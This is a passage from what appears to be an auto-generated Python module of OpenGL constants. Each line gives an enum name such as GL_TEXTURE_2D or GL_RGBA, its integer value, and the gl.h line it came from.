GL_MAP_STENCIL = 3345 # /usr/include/GL/gl.h:492
GL_INDEX_SHIFT = 3346 # /usr/include/GL/gl.h:493
GL_INDEX_OFFSET = 3347 # /usr/include/GL/gl.h:494
GL_RED_SCALE = 3348 # /usr/include/GL/gl.h:495
GL_RED_BIAS = 3349 # /usr/include/GL/gl.h:496
GL_ZOOM_X = 3350 # /usr/include/GL/gl.h:497
GL_ZOOM_Y = 3351 # /usr/include/GL/gl.h:498
GL_GREEN_SCALE = 3352 # /usr/include/GL/gl.h:499
GL_GREEN_BIAS = 3353 # /usr/include/GL/gl.h:500
GL_BLUE_SCALE = 3354 # /usr/include/GL/gl.h:501
GL_BLUE_BIAS = 3355 # /usr/include/GL/gl.h:502
GL_ALPHA_SCALE = 3356 # /usr/include/GL/gl.h:503
GL_ALPHA_BIAS = 3357 # /usr/include/GL/gl.h:504
GL_DEPTH_SCALE = 3358 # /usr/include/GL/gl.h:505
GL_DEPTH_BIAS = 3359 # /usr/include/GL/gl.h:506
GL_MAX_EVAL_ORDER = 3376 # /usr/include/GL/gl.h:507
GL_MAX_LIGHTS = 3377 # /usr/include/GL/gl.h:508
GL_MAX_CLIP_PLANES = 3378 # /usr/include/GL/gl.h:509
GL_MAX_TEXTURE_SIZE = 3379 # /usr/include/GL/gl.h:510
GL_MAX_PIXEL_MAP_TABLE = 3380 # /usr/include/GL/gl.h:511
GL_MAX_ATTRIB_STACK_DEPTH = 3381 # /usr/include/GL/gl.h:512
GL_MAX_MODELVIEW_STACK_DEPTH = 3382 # /usr/include/GL/gl.h:513
GL_MAX_NAME_STACK_DEPTH = 3383 # /usr/include/GL/gl.h:514
GL_MAX_PROJECTION_STACK_DEPTH = 3384 # /usr/include/GL/gl.h:515
GL_MAX_TEXTURE_STACK_DEPTH = 3385 # /usr/include/GL/gl.h:516
GL_MAX_VIEWPORT_DIMS = 3386 # /usr/include/GL/gl.h:517
GL_MAX_CLIENT_ATTRIB_STACK_DEPTH = 3387 # /usr/include/GL/gl.h:518
GL_SUBPIXEL_BITS = 3408 # /usr/include/GL/gl.h:519
GL_INDEX_BITS = 3409 # /usr/include/GL/gl.h:520
GL_RED_BITS = 3410 # /usr/include/GL/gl.h:521
GL_GREEN_BITS = 3411 # /usr/include/GL/gl.h:522
GL_BLUE_BITS = 3412 # /usr/include/GL/gl.h:523
GL_ALPHA_BITS = 3413 # /usr/include/GL/gl.h:524
GL_DEPTH_BITS = 3414 # /usr/include/GL/gl.h:525
GL_STENCIL_BITS = 3415 # /usr/include/GL/gl.h:526
GL_ACCUM_RED_BITS = 3416 # /usr/include/GL/gl.h:527
GL_ACCUM_GREEN_BITS = 3417 # /usr/include/GL/gl.h:528
GL_ACCUM_BLUE_BITS = 3418 # /usr/include/GL/gl.h:529
GL_ACCUM_ALPHA_BITS = 3419 # /usr/include/GL/gl.h:530
GL_NAME_STACK_DEPTH = 3440 # /usr/include/GL/gl.h:531
GL_AUTO_NORMAL = 3456 # /usr/include/GL/gl.h:532
GL_MAP1_COLOR_4 = 3472 # /usr/include/GL/gl.h:533
GL_MAP1_INDEX = 3473 # /usr/include/GL/gl.h:534
GL_MAP1_NORMAL = 3474 # /usr/include/GL/gl.h:535
GL_MAP1_TEXTURE_COORD_1 = 3475 # /usr/include/GL/gl.h:536
GL_MAP1_TEXTURE_COORD_2 = 3476 # /usr/include/GL/gl.h:537
GL_MAP1_TEXTURE_COORD_3 = 3477 # /usr/include/GL/gl.h:538
GL_MAP1_TEXTURE_COORD_4 = 3478 # /usr/include/GL/gl.h:539
GL_MAP1_VERTEX_3 = 3479 # /usr/include/GL/gl.h:540
GL_MAP1_VERTEX_4 = 3480 # /usr/include/GL/gl.h:541
GL_MAP2_COLOR_4 = 3504 # /usr/include/GL/gl.h:542
GL_MAP2_INDEX = 3505 # /usr/include/GL/gl.h:543
GL_MAP2_NORMAL = 3506 # /usr/include/GL/gl.h:544
GL_MAP2_TEXTURE_COORD_1 = 3507 # /usr/include/GL/gl.h:545
GL_MAP2_TEXTURE_COORD_2 = 3508 # /usr/include/GL/gl.h:546
GL_MAP2_TEXTURE_COORD_3 = 3509 # /usr/include/GL/gl.h:547
GL_MAP2_TEXTURE_COORD_4 = 3510 # /usr/include/GL/gl.h:548
GL_MAP2_VERTEX_3 = 3511 # /usr/include/GL/gl.h:549
GL_MAP2_VERTEX_4 = 3512 # /usr/include/GL/gl.h:550
GL_MAP1_GRID_DOMAIN = 3536 # /usr/include/GL/gl.h:551
GL_MAP1_GRID_SEGMENTS = 3537 # /usr/include/GL/gl.h:552
GL_MAP2_GRID_DOMAIN = 3538 # /usr/include/GL/gl.h:553
GL_MAP2_GRID_SEGMENTS = 3539 # /usr/include/GL/gl.h:554
GL_TEXTURE_1D = 3552 # /usr/include/GL/gl.h:555
GL_TEXTURE_2D = 3553 # /usr/include/GL/gl.h:556
GL_FEEDBACK_BUFFER_POINTER = 3568 # /usr/include/GL/gl.h:557
GL_FEEDBACK_BUFFER_SIZE = 3569 # /usr/include/GL/gl.h:558
GL_FEEDBACK_BUFFER_TYPE = 3570 # /usr/include/GL/gl.h:559
GL_SELECTION_BUFFER_POINTER = 3571 # /usr/include/GL/gl.h:560
GL_SELECTION_BUFFER_SIZE = 3572 # /usr/include/GL/gl.h:561
GL_POLYGON_OFFSET_UNITS = 10752 # /usr/include/GL/gl.h:562
GL_POLYGON_OFFSET_POINT = 10753 # /usr/include/GL/gl.h:563
GL_POLYGON_OFFSET_LINE = 10754 # /usr/include/GL/gl.h:564
GL_POLYGON_OFFSET_FILL = 32823 # /usr/include/GL/gl.h:565
GL_POLYGON_OFFSET_FACTOR = 32824 # /usr/include/GL/gl.h:566
GL_TEXTURE_BINDING_1D = 32872 # /usr/include/GL/gl.h:567
GL_TEXTURE_BINDING_2D = 32873 # /usr/include/GL/gl.h:568
GL_TEXTURE_BINDING_3D = 32874 # /usr/include/GL/gl.h:569
GL_VERTEX_ARRAY = 32884 # /usr/include/GL/gl.h:570
GL_NORMAL_ARRAY = 32885 # /usr/include/GL/gl.h:571
GL_COLOR_ARRAY = 32886 # /usr/include/GL/gl.h:572
GL_INDEX_ARRAY = 32887 # /usr/include/GL/gl.h:573
GL_TEXTURE_COORD_ARRAY = 32888 # /usr/include/GL/gl.h:574
GL_EDGE_FLAG_ARRAY = 32889 # /usr/include/GL/gl.h:575
GL_VERTEX_ARRAY_SIZE = 32890 # /usr/include/GL/gl.h:576
GL_VERTEX_ARRAY_TYPE = 32891 # /usr/include/GL/gl.h:577
GL_VERTEX_ARRAY_STRIDE = 32892 # /usr/include/GL/gl.h:578
GL_NORMAL_ARRAY_TYPE = 32894 # /usr/include/GL/gl.h:579
GL_NORMAL_ARRAY_STRIDE = 32895 # /usr/include/GL/gl.h:580
GL_COLOR_ARRAY_SIZE = 32897 # /usr/include/GL/gl.h:581
GL_COLOR_ARRAY_TYPE = 32898 # /usr/include/GL/gl.h:582
GL_COLOR_ARRAY_STRIDE = 32899 # /usr/include/GL/gl.h:583
GL_INDEX_ARRAY_TYPE = 32901 # /usr/include/GL/gl.h:584
GL_INDEX_ARRAY_STRIDE = 32902 # /usr/include/GL/gl.h:585
GL_TEXTURE_COORD_ARRAY_SIZE = 32904 # /usr/include/GL/gl.h:586
GL_TEXTURE_COORD_ARRAY_TYPE = 32905 # /usr/include/GL/gl.h:587
GL_TEXTURE_COORD_ARRAY_STRIDE = 32906 # /usr/include/GL/gl.h:588
GL_EDGE_FLAG_ARRAY_STRIDE = 32908 # /usr/include/GL/gl.h:589
GL_TEXTURE_WIDTH = 4096 # /usr/include/GL/gl.h:602
GL_TEXTURE_HEIGHT = 4097 # /usr/include/GL/gl.h:603
GL_TEXTURE_INTERNAL_FORMAT = 4099 # /usr/include/GL/gl.h:604
GL_TEXTURE_COMPONENTS = 4099 # /usr/include/GL/gl.h:605
GL_TEXTURE_BORDER_COLOR = 4100 # /usr/include/GL/gl.h:606
GL_TEXTURE_BORDER = 4101 # /usr/include/GL/gl.h:607
GL_TEXTURE_RED_SIZE = 32860 # /usr/include/GL/gl.h:608
GL_TEXTURE_GREEN_SIZE = 32861 # /usr/include/GL/gl.h:609
GL_TEXTURE_BLUE_SIZE = 32862 # /usr/include/GL/gl.h:610
GL_TEXTURE_ALPHA_SIZE = 32863 # /usr/include/GL/gl.h:611
GL_TEXTURE_LUMINANCE_SIZE = 32864 # /usr/include/GL/gl.h:612
GL_TEXTURE_INTENSITY_SIZE = 32865 # /usr/include/GL/gl.h:613
GL_TEXTURE_PRIORITY = 32870 # /usr/include/GL/gl.h:614
GL_TEXTURE_RESIDENT = 32871 # /usr/include/GL/gl.h:615
GL_DONT_CARE = 4352 # /usr/include/GL/gl.h:618
GL_FASTEST = 4353 # /usr/include/GL/gl.h:619
GL_NICEST = 4354 # /usr/include/GL/gl.h:620
GL_AMBIENT = 4608 # /usr/include/GL/gl.h:654
GL_DIFFUSE = 4609 # /usr/include/GL/gl.h:655
GL_SPECULAR = 4610 # /usr/include/GL/gl.h:656
GL_POSITION = 4611 # /usr/include/GL/gl.h:657
GL_SPOT_DIRECTION = 4612 # /usr/include/GL/gl.h:658
GL_SPOT_EXPONENT = 4613 # /usr/include/GL/gl.h:659
GL_SPOT_CUTOFF = 4614 # /usr/include/GL/gl.h:660
GL_CONSTANT_ATTENUATION = 4615 # /usr/include/GL/gl.h:661
GL_LINEAR_ATTENUATION = 4616 # /usr/include/GL/gl.h:662
GL_QUADRATIC_ATTENUATION = 4617 # /usr/include/GL/gl.h:663
GL_COMPILE = 4864 # /usr/include/GL/gl.h:666
GL_COMPILE_AND_EXECUTE = 4865 # /usr/include/GL/gl.h:667
GL_BYTE = 5120 # /usr/include/GL/gl.h:670
GL_UNSIGNED_BYTE = 5121 # /usr/include/GL/gl.h:671
GL_SHORT = 5122 # /usr/include/GL/gl.h:672
GL_UNSIGNED_SHORT = 5123 # /usr/include/GL/gl.h:673
GL_INT = 5124 # /usr/include/GL/gl.h:674
GL_UNSIGNED_INT = 5125 # /usr/include/GL/gl.h:675
GL_FLOAT = 5126 # /usr/include/GL/gl.h:676
GL_2_BYTES = 5127 # /usr/include/GL/gl.h:677
GL_3_BYTES = 5128 # /usr/include/GL/gl.h:678
GL_4_BYTES = 5129 # /usr/include/GL/gl.h:679
GL_DOUBLE = 5130 # /usr/include/GL/gl.h:680
GL_DOUBLE_EXT = 5130 # /usr/include/GL/gl.h:681
GL_CLEAR = 5376 # /usr/include/GL/gl.h:696
GL_AND = 5377 # /usr/include/GL/gl.h:697
GL_AND_REVERSE = 5378 # /usr/include/GL/gl.h:698
GL_COPY = 5379 # /usr/include/GL/gl.h:699
GL_AND_INVERTED = 5380 # /usr/include/GL/gl.h:700
GL_NOOP = 5381 # /usr/include/GL/gl.h:701
GL_XOR = 5382 # /usr/include/GL/gl.h:702
GL_OR = 5383 # /usr/include/GL/gl.h:703
GL_NOR = 5384 # /usr/include/GL/gl.h:704
GL_EQUIV = 5385 # /usr/include/GL/gl.h:705
GL_INVERT = 5386 # /usr/include/GL/gl.h:706
GL_OR_REVERSE = 5387 # /usr/include/GL/gl.h:707
GL_COPY_INVERTED = 5388 # /usr/include/GL/gl.h:708
GL_OR_INVERTED = 5389 # /usr/include/GL/gl.h:709
GL_NAND = 5390 # /usr/include/GL/gl.h:710
GL_SET = 5391 # /usr/include/GL/gl.h:711
GL_EMISSION = 5632 # /usr/include/GL/gl.h:739
GL_SHININESS = 5633 # /usr/include/GL/gl.h:740
GL_AMBIENT_AND_DIFFUSE = 5634 # /usr/include/GL/gl.h:741
GL_COLOR_INDEXES = 5635 # /usr/include/GL/gl.h:742
GL_MODELVIEW = 5888 # /usr/include/GL/gl.h:748
GL_PROJECTION = 5889 # /usr/include/GL/gl.h:749
GL_TEXTURE = 5890 # /usr/include/GL/gl.h:750
GL_COLOR = 6144 # /usr/include/GL/gl.h:769
GL_DEPTH = 6145 # /usr/include/GL/gl.h:770
GL_STENCIL = 6146 # /usr/include/GL/gl.h:771
GL_COLOR_INDEX = 6400 # /usr/include/GL/gl.h:774
GL_STENCIL_INDEX = 6401 # /usr/include/GL/gl.h:775
GL_DEPTH_COMPONENT = 6402 # /usr/include/GL/gl.h:776
GL_RED = 6403 # /usr/include/GL/gl.h:777
GL_GREEN = 6404 # /usr/include/GL/gl.h:778
GL_BLUE = 6405 # /usr/include/GL/gl.h:779
GL_ALPHA = 6406 # /usr/include/GL/gl.h:780
GL_RGB = 6407 # /usr/include/GL/gl.h:781
GL_RGBA = 6408 # /usr/include/GL/gl.h:782
GL_LUMINANCE = 6409 # /usr/include/GL/gl.h:783
GL_LUMINANCE_ALPHA = 6410 # /usr/include/GL/gl.h:784
GL_BITMAP = 6656 # /usr/include/GL/gl.h:830
GL_POINT = 6912 # /usr/include/GL/gl.h:845
GL_LINE = 6913 # /usr/include/GL/gl.h:846
GL_FILL = 6914 # /usr/include/GL/gl.h:847
GL_RENDER = 7168 # /usr/include/GL/gl.h:864
GL_FEEDBACK = 7169 # /usr/include/GL/gl.h:865
GL_SELECT = 7170 # /usr/include/GL/gl.h:866
GL_FLAT = 7424 # /usr/include/GL/gl.h:869
GL_SMOOTH = 7425 # /usr/include/GL/gl.h:870
GL_KEEP = 7680 # /usr/include/GL/gl.h:884
GL_REPLACE = 7681 # /usr/include/GL/gl.h:885
GL_INCR = 7682 # /usr/include/GL/gl.h:886
GL_DECR = 7683 # /usr/include/GL/gl.h:887
GL_VENDOR = 7936 # /usr/include/GL/gl.h:891
GL_RENDERER = 7937 # /usr/include/GL/gl.h:892
GL_VERSION = 7938 # /usr/include/GL/gl.h:893
GL_EXTENSIONS = 7939 # /usr/include/GL/gl.h:894
GL_S = 8192 # /usr/include/GL/gl.h:903
GL_T = 8193 # /usr/include/GL/gl.h:904
GL_R = 8194 # /usr/include/GL/gl.h:905
GL_Q = 8195 # /usr/include/GL/gl.h:906
GL_MODULATE = 8448 # /usr/include/GL/gl.h:909
GL_DECAL = 8449 # /usr/include/GL/gl.h:910
GL_TEXTURE_ENV_MODE = 8704 # /usr/include/GL/gl.h:916
GL_TEXTURE_ENV_COLOR = 8705 # /usr/include/GL/gl.h:917
GL_TEXTURE_ENV = 8960 # /usr/include/GL/gl.h:920
GL_EYE_LINEAR = 9216 # /usr/include/GL/gl.h:923
GL_OBJECT_LINEAR = 9217 # /usr/include/GL/gl.h:924
GL_SPHERE_MAP = 9218 # /usr/include/GL/gl.h:925
GL_TEXTURE_GEN_MODE = 9472 # /usr/include/GL/gl.h:928
GL_OBJECT_PLANE = 9473 # /usr/include/GL/gl.h:929
GL_EYE_PLANE = 9474 # /usr/include/GL/gl.h:930
GL_NEAREST = 9728 # /usr/include/GL/gl.h:933
GL_LINEAR = 9729 # /usr/include/GL/gl.h:934
GL_NEAREST_MIPMAP_NEAREST = 9984 # /usr/include/GL/gl.h:939
GL_LINEAR_MIPMAP_NEAREST = 9985 # /usr/include/GL/gl.h:940
GL_NEAREST_MIPMAP_LINEAR = 9986 # /usr/include/GL/gl.h:941
GL_LINEAR_MIPMAP_LINEAR = 9987 # /usr/include/GL/gl.h:942
GL_TEXTURE_MAG_FILTER = 10240 # /usr/include/GL/gl.h:945
GL_TEXTURE_MIN_FILTER = 10241 # /usr/include/GL/gl.h:946
GL_TEXTURE_WRAP_S = 10242 # /usr/include/GL/gl.h:947
GL_TEXTURE_WRAP_T = 10243 # /usr/include/GL/gl.h:948
GL_PROXY_TEXTURE_1D = 32867 # /usr/include/GL/gl.h:955
GL_PROXY_TEXTURE_2D = 32868 # /usr/include/GL/gl.h:956
GL_CLAMP = 10496 # /usr/include/GL/gl.h:959
GL_REPEAT = 10497 # /usr/include/GL/gl.h:960
GL_R3_G3_B2 = 10768 # /usr/include/GL/gl.h:963
GL_ALPHA4 = 32827 # /usr/include/GL/gl.h:964
GL_ALPHA8 = 32828 # /usr/include/GL/gl.h:965
GL_ALPHA12 = 32829 # /usr/include/GL/gl.h:966
GL_ALPHA16 = 32830 # /usr/include/GL/gl.h:967
GL_LUMINANCE4 = 32831 # /usr/include/GL/gl.h:968
GL_LUMINANCE8 = 32832 # /usr/include/GL/gl.h:969
GL_LUMINANCE12 = 32833 # /usr/include/GL/gl.h:970
GL_LUMINANCE16 = 32834 # /usr/include/GL/gl.h:971
GL_LUMINANCE4_ALPHA4 = 32835 # /usr/include/GL/gl.h:972
GL_LUMINANCE6_ALPHA2 = 32836 # /usr/include/GL/gl.h:973
GL_LUMINANCE8_ALPHA8 = 32837 # /usr/include/GL/gl.h:974
GL_LUMINANCE12_ALPHA4 = 32838 # /usr/include/GL/gl.h:975
GL_LUMINANCE12_ALPHA12 = 32839 # /usr/include/GL/gl.h:976
GL_LUMINANCE16_ALPHA16 = 32840 # /usr/include/GL/gl.h:977
GL_INTENSITY = 32841 # /usr/include/GL/gl.h:978
GL_INTENSITY4 = 32842 # /usr/include/GL/gl.h:979
GL_INTENSITY8 = 32843 # /usr/include/GL/gl.h:980
GL_INTENSITY12 = 32844 # /usr/include/GL/gl.h:981
GL_INTENSITY16 = 32845 # /usr/include/GL/gl.h:982
GL_RGB4 = 32847 # /usr/include/GL/gl.h:983
GL_RGB5 = 32848 # /usr/include/GL/gl.h:984
GL_RGB8 = 32849 # /usr/include/GL/gl.h:985
GL_RGB10 = 32850 # /usr/include/GL/gl.h:986
GL_RGB12 = 32851 # /usr/include/GL/gl.h:987
GL_RGB16 = 32852 # /usr/include/GL/gl.h:988
GL_RGBA2 = 32853 # /usr/include/GL/gl.h:989
GL_RGBA4 = 32854 # /usr/include/GL/gl.h:990
GL_RGB5_A1 = 32855 # /usr/include/GL/gl.h:991
GL_RGBA8 = 32856 # /usr/include/GL/gl.h:992
GL_RGB10_A2 = 32857 # /usr/include/GL/gl.h:993
GL_RGBA12 = 32858 # /usr/include/GL/gl.h:994
GL_RGBA16 = 32859 # /usr/include/GL/gl.h:995
GL_V2F = 10784 # /usr/include/GL/gl.h:998
GL_V3F = 10785 # /usr/include/GL/gl.h:999
GL_C4UB_V2F = 10786 # /usr/include/GL/gl.h:1000
GL_C4UB_V3F = 10787 # /usr/include/GL/gl.h:1001
GL_C3F_V3F = 10788 # /usr/include/GL/gl.h:1002
GL_N3F_V3F = 10789 # /usr/include/GL/gl.h:1003
GL_C4F_N3F_V3F = 10790 # /usr/include/GL/gl.h:1004
GL_T2F_V3F = 10791 # /usr/include/GL/gl.h:1005
GL_T4F_V4F = 10792 # /usr/include/GL/gl.h:1006
GL_T2F_C4UB_V3F = 10793 # /usr/include/GL/gl.h:1007
GL_T2F_C3F_V3F = 10794 # /usr/include/GL/gl.h:1008
GL_T2F_N3F_V3F = 10795 # /usr/include/GL/gl.h:1009
GL_T2F_C4F_N3F_V3F = 10796 # /usr/include/GL/gl.h:1010
GL_T4F_C4F_N3F_V4F = 10797 # /usr/include/GL/gl.h:1011
GL_CLIP_PLANE0 = 12288 # /usr/include/GL/gl.h:1020
GL_CLIP_PLANE1 = 12289 # /usr/include/GL/gl.h:1021
GL_CLIP_PLANE2 = 12290 # /usr/include/GL/gl.h:1022
GL_CLIP_PLANE3 = 12291 # /usr/include/GL/gl.h:1023
GL_CLIP_PLANE4 = 12292 # /usr/include/GL/gl.h:1024
GL_CLIP_PLANE5 = 12293 # /usr/include/GL/gl.h:1025
GL_LIGHT0 = 16384 # /usr/include/GL/gl.h:1028
GL_LIGHT1 = 16385 # /usr/include/GL/gl.h:1029
GL_LIGHT2 = 16386 # /usr/include/GL/gl.h:1030
GL_LIGHT3 = 16387 # /usr/include/GL/gl.h:1031
GL_LIGHT4 = 16388 # /usr/include/GL/gl.h:1032
GL_LIGHT5 = 16389 # /usr/include/GL/gl.h:1033
GL_LIGHT6 = 16390 # /usr/include/GL/gl.h:1034
GL_LIGHT7 = 16391 # /usr/include/GL/gl.h:1035
GL_ABGR_EXT = 32768 # /usr/include/GL/gl.h:1038
GL_FUNC_SUBTRACT_EXT = 32778 # /usr/include/GL/gl.h:1041
GL_FUNC_REVERSE_SUBTRACT_EXT = 32779 # /usr/include/GL/gl.h:1042
GL_UNSIGNED_BYTE_3_3_2_EXT = 32818 # /usr/include/GL/gl.h:1045
GL_UNSIGNED_SHORT_4_4_4_4_EXT = 32819 # /usr/include/GL/gl.h:1046
GL_UNSIGNED_SHORT_5_5_5_1_EXT = 32820 # /usr/include/GL/gl.h:1047
GL_UNSIGNED_INT_8_8_8_8_EXT = 32821 # /usr/include/GL/gl.h:1048
GL_UNSIGNED_INT_10_10_10_2_EXT = 32822 # /usr/include/GL/gl.h:1049
GL_PACK_SKIP_IMAGES = 32875 # /usr/include/GL/gl.h:1052
GL_PACK_IMAGE_HEIGHT = 32876 # /usr/include/GL/gl.h:1053
GL_UNPACK_SKIP_IMAGES = 32877 # /usr/include/GL/gl.h:1054
GL_UNPACK_IMAGE_HEIGHT = 32878 # /usr/include/GL/gl.h:1055
GL_TEXTURE_3D = 32879 # /usr/include/GL/gl.h:1056
GL_PROXY_TEXTURE_3D = 32880 # /usr/include/GL/gl.h:1057
GL_TEXTURE_DEPTH = 32881 # /usr/include/GL/gl.h:1058
GL_TEXTURE_WRAP_R = 32882 # /usr/include/GL/gl.h:1059
GL_MAX_3D_TEXTURE_SIZE = 32883 # /usr/include/GL/gl.h:1060
GL_BGR = 32992 # /usr/include/GL/gl.h:1061
GL_BGRA = 32993 # /usr/include/GL/gl.h:1062
GL_UNSIGNED_BYTE_3_3_2 = 32818 # /usr/include/GL/gl.h:1063
GL_UNSIGNED_BYTE_2_3_3_REV = 33634 # /usr/include/GL/gl.h:1064
GL_UNSIGNED_SHORT_5_6_5 = 33635 # /usr/include/GL/gl.h:1065
GL_UNSIGNED_SHORT_5_6_5_REV = 33636 # /usr/include/GL/gl.h:1066
GL_UNSIGNED_SHORT_4_4_4_4 = 32819 # /usr/include/GL/gl.h:1067
GL_UNSIGNED_SHORT_4_4_4_4_REV = 33637 # /usr/include/GL/gl.h:1068
GL_UNSIGNED_SHORT_5_5_5_1 = 32820 # /usr/include/GL/gl.h:1069
GL_UNSIGNED_SHORT_1_5_5_5_REV = 33638 # /usr/include/GL/gl.h:1070
GL_UNSIGNED_INT_8_8_8_8 = 32821 # /usr/include/GL/gl.h:1071
GL_UNSIGNED_INT_8_8_8_8_REV = 33639 # /usr/include/GL/gl.h:1072
GL_UNSIGNED_INT_10_10_10_2 = 32822 # /usr/include/GL/gl.h:1073
GL_UNSIGNED_INT_2_10_10_10_REV = 33640 # /usr/include/GL/gl.h:1074
GL_RESCALE_NORMAL = 32826 # /usr/include/GL/gl.h:1075
GL_LIGHT_MODEL_COLOR_CONTROL = 33272 # /usr/include/GL/gl.h:1076
GL_SINGLE_COLOR = 33273 # /usr/include/GL/gl.h:1077
GL_SEPARATE_SPECULAR_COLOR = 33274 # /usr/include/GL/gl.h:1078
GL_CLAMP_TO_EDGE = 33071 # /usr/include/GL/gl.h:1079
GL_TEXTURE_MIN_LOD = 33082 # /usr/include/GL/gl.h:1080
GL_TEXTURE_MAX_LOD = 33083 # /usr/include/GL/gl.h:1081
GL_TEXTURE_BASE_LEVEL = 33084 # /usr/include/GL/gl.h:1082
GL_TEXTURE_MAX_LEVEL = 33085 # /usr/include/GL/gl.h:1083
GL_MAX_ELEMENTS_VERTICES = 33000 # /usr/include/GL/gl.h:1084
GL_MAX_ELEMENTS_INDICES = 33001 # /usr/include/GL/gl.h:1085
GL_ALIASED_POINT_SIZE_RANGE = 33901 # /usr/include/GL/gl.h:1086
GL_ALIASED_LINE_WIDTH_RANGE = 33902 # /usr/include/GL/gl.h:1087
GL_ACTIVE_TEXTURE = 34016 # /usr/include/GL/gl.h:1090
GL_CLIENT_ACTIVE_TEXTURE = 34017 # /usr/include/GL/gl.h:1091
GL_MAX_TEXTURE_UNITS = 34018 # /usr/include/GL/gl.h:1092
GL_TEXTURE0 = 33984 # /usr/include/GL/gl.h:1093
GL_TEXTURE1 = 33985 # /usr/include/GL/gl.h:1094
GL_TEXTURE2 = 33986 # /usr/include/GL/gl.h:1095
GL_TEXTURE3 = 33987 # /usr/include/GL/gl.h:1096
GL_TEXTURE4 = 33988 # /usr/include/GL/gl.h:1097
GL_TEXTURE5 = 33989 # /usr/include/GL/gl.h:1098
GL_TEXTURE6 = 33990 # /usr/include/GL/gl.h:1099
GL_TEXTURE7 = 33991 # /usr/include/GL/gl.h:1100
GL_TEXTURE8 = 33992 # /usr/include/GL/gl.h:1101
GL_TEXTURE9 = 33993 # /usr/include/GL/gl.h:1102
GL_TEXTURE10 = 33994 # /usr/include/GL/gl.h:1103
GL_TEXTURE11 = 33995 # /usr/include/GL/gl.h:1104
GL_TEXTURE12 = 33996 # /usr/include/GL/gl.h:1105
GL_TEXTURE13 = 33997 # /usr/include/GL/gl.h:1106
GL_TEXTURE14 = 33998 # /usr/include/GL/gl.h:1107
GL_TEXTURE15 = 33999 # /usr/include/GL/gl.h:1108
GL_TEXTURE16 = 34000 # /usr/include/GL/gl.h:1109
GL_TEXTURE17 = 34001 # /usr/include/GL/gl.h:1110
GL_TEXTURE18 = 34002 # /usr/include/GL/gl.h:1111
GL_TEXTURE19 = 34003 # /usr/include/GL/gl.h:1112
GL_TEXTURE20 = 34004 # /usr/include/GL/gl.h:1113
GL_TEXTURE21 = 34005 # /usr/include/GL/gl.h:1114
GL_TEXTURE22 = 34006 # /usr/include/GL/gl.h:1115
GL_TEXTURE23 = 34007 # /usr/include/GL/gl.h:1116
GL_TEXTURE24 = 34008 # /usr/include/GL/gl.h:1117
GL_TEXTURE25 = 34009 # /usr/include/GL/gl.h:1118
GL_TEXTURE26 = 34010 # /usr/include/GL/gl.h:1119
GL_TEXTURE27 = 34011 # /usr/include/GL/gl.h:1120
GL_TEXTURE28 = 34012 # /usr/include/GL/gl.h:1121
GL_TEXTURE29 = 34013 # /usr/include/GL/gl.h:1122
GL_TEXTURE30 = 34014 # /usr/include/GL/gl.h:1123
GL_TEXTURE31 = 34015 # /usr/include/GL/gl.h:1124
GL_NORMAL_MAP = 34065 # /usr/include/GL/gl.h:1125
GL_REFLECTION_MAP = 34066 # /usr/include/GL/gl.h:1126
GL_TEXTURE_CUBE_MAP = 34067 # /usr/include/GL/gl.h:1127
GL_TEXTURE_BINDING_CUBE_MAP = 34068 # /usr/include/GL/gl.h:1128
GL_TEXTURE_CUBE_MAP_POSITIVE_X = 34069 # /usr/include/GL/gl.h:1129
GL_TEXTURE_CUBE_MAP_NEGATIVE_X = 34070 # /usr/include/GL/gl.h:1130
GL_TEXTURE_CUBE_MAP_POSITIVE_Y = 34071 # /usr/include/GL/gl.h:1131
GL_TEXTURE_CUBE_MAP_NEGATIVE_Y = 34072 # /usr/include/GL/gl.h:1132
GL_TEXTURE_CUBE_MAP_POSITIVE_Z = 34073 # /usr/include/GL/gl.h:1133
GL_TEXTURE_CUBE_MAP_NEGATIVE_Z = 34074 # /usr/include/GL/gl.h:1134
GL_PROXY_TEXTURE_CUBE_MAP = 34075 # /usr/include/GL/gl.h:1135
GL_MAX_CUBE_MAP_TEXTURE_SIZE = 34076 # /usr/include/GL/gl.h:1136
GL_COMBINE = 34160 # /usr/include/GL/gl.h:1137
GL_COMBINE_RGB = 34161 # /usr/include/GL/gl.h:1138
GL_COMBINE_ALPHA = 34162 # /usr/include/GL/gl.h:1139
GL_RGB_SCALE = 34163 # /usr/include/GL/gl.h:1140
GL_ADD_SIGNED = 34164 # /usr/include/GL/gl.h:1141
GL_INTERPOLATE = 34165 # /usr/include/GL/gl.h:1142
GL_CONSTANT = 34166 # /usr/include/GL/gl.h:1143
GL_PRIMARY_COLOR = 34167 # /usr/include/GL/gl.h:1144
GL_PREVIOUS = 34168 # /usr/include/GL/gl.h:1145
GL_SOURCE0_RGB = 34176 # /usr/include/GL/gl.h:1146
GL_SOURCE1_RGB = 34177 # /usr/include/GL/gl.h:1147
GL_SOURCE2_RGB = 34178 # /usr/include/GL/gl.h:1148
GL_SOURCE0_ALPHA = 34184 # /usr/include/GL/gl.h:1149
GL_SOURCE1_ALPHA = 34185 # /usr/include/GL/gl.h:1150
GL_SOURCE2_ALPHA = 34186 # /usr/include/GL/gl.h:1151
GL_OPERAND0_RGB = 34192 # /usr/include/GL/gl.h:1152
GL_OPERAND1_RGB = 34193 # /usr/include/GL/gl.h:1153
GL_OPERAND2_RGB = 34194 # /usr/include/GL/gl.h:1154
GL_OPERAND0_ALPHA = 34200 # /usr/include/GL/gl.h:1155
GL_OPERAND1_ALPHA = 34201 # /usr/include/GL/gl.h:1156
GL_OPERAND2_ALPHA = 34202 # /usr/include/GL/gl.h:1157
GL_SUBTRACT = 34023 # /usr/include/GL/gl.h:1158
GL_TRANSPOSE_MODELVIEW_MATRIX = 34019 # /usr/include/GL/gl.h:1159
GL_TRANSPOSE_PROJECTION_MATRIX = 34020 # /usr/include/GL/gl.h:1160
GL_TRANSPOSE_TEXTURE_MATRIX = 34021 # /usr/include/GL/gl.h:1161
GL_TRANSPOSE_COLOR_MATRIX = 34022 # /usr/include/GL/gl.h:1162
GL_COMPRESSED_ALPHA = 34025 # /usr/include/GL/gl.h:1163
GL_COMPRESSED_LUMINANCE = 34026 # /usr/include/GL/gl.h:1164
GL_COMPRESSED_LUMINANCE_ALPHA = 34027 # /usr/include/GL/gl.h:1165
GL_COMPRESSED_INTENSITY = 34028 # /usr/include/GL/gl.h:1166
GL_COMPRESSED_RGB = 34029 # /usr/include/GL/gl.h:1167
GL_COMPRESSED_RGBA = 34030 # /usr/include/GL/gl.h:1168
GL_TEXTURE_COMPRESSION_HINT = 34031 # /usr/include/GL/gl.h:1169
GL_TEXTURE_COMPRESSED_IMAGE_SIZE = 34464 # /usr/include/GL/gl.h:1170
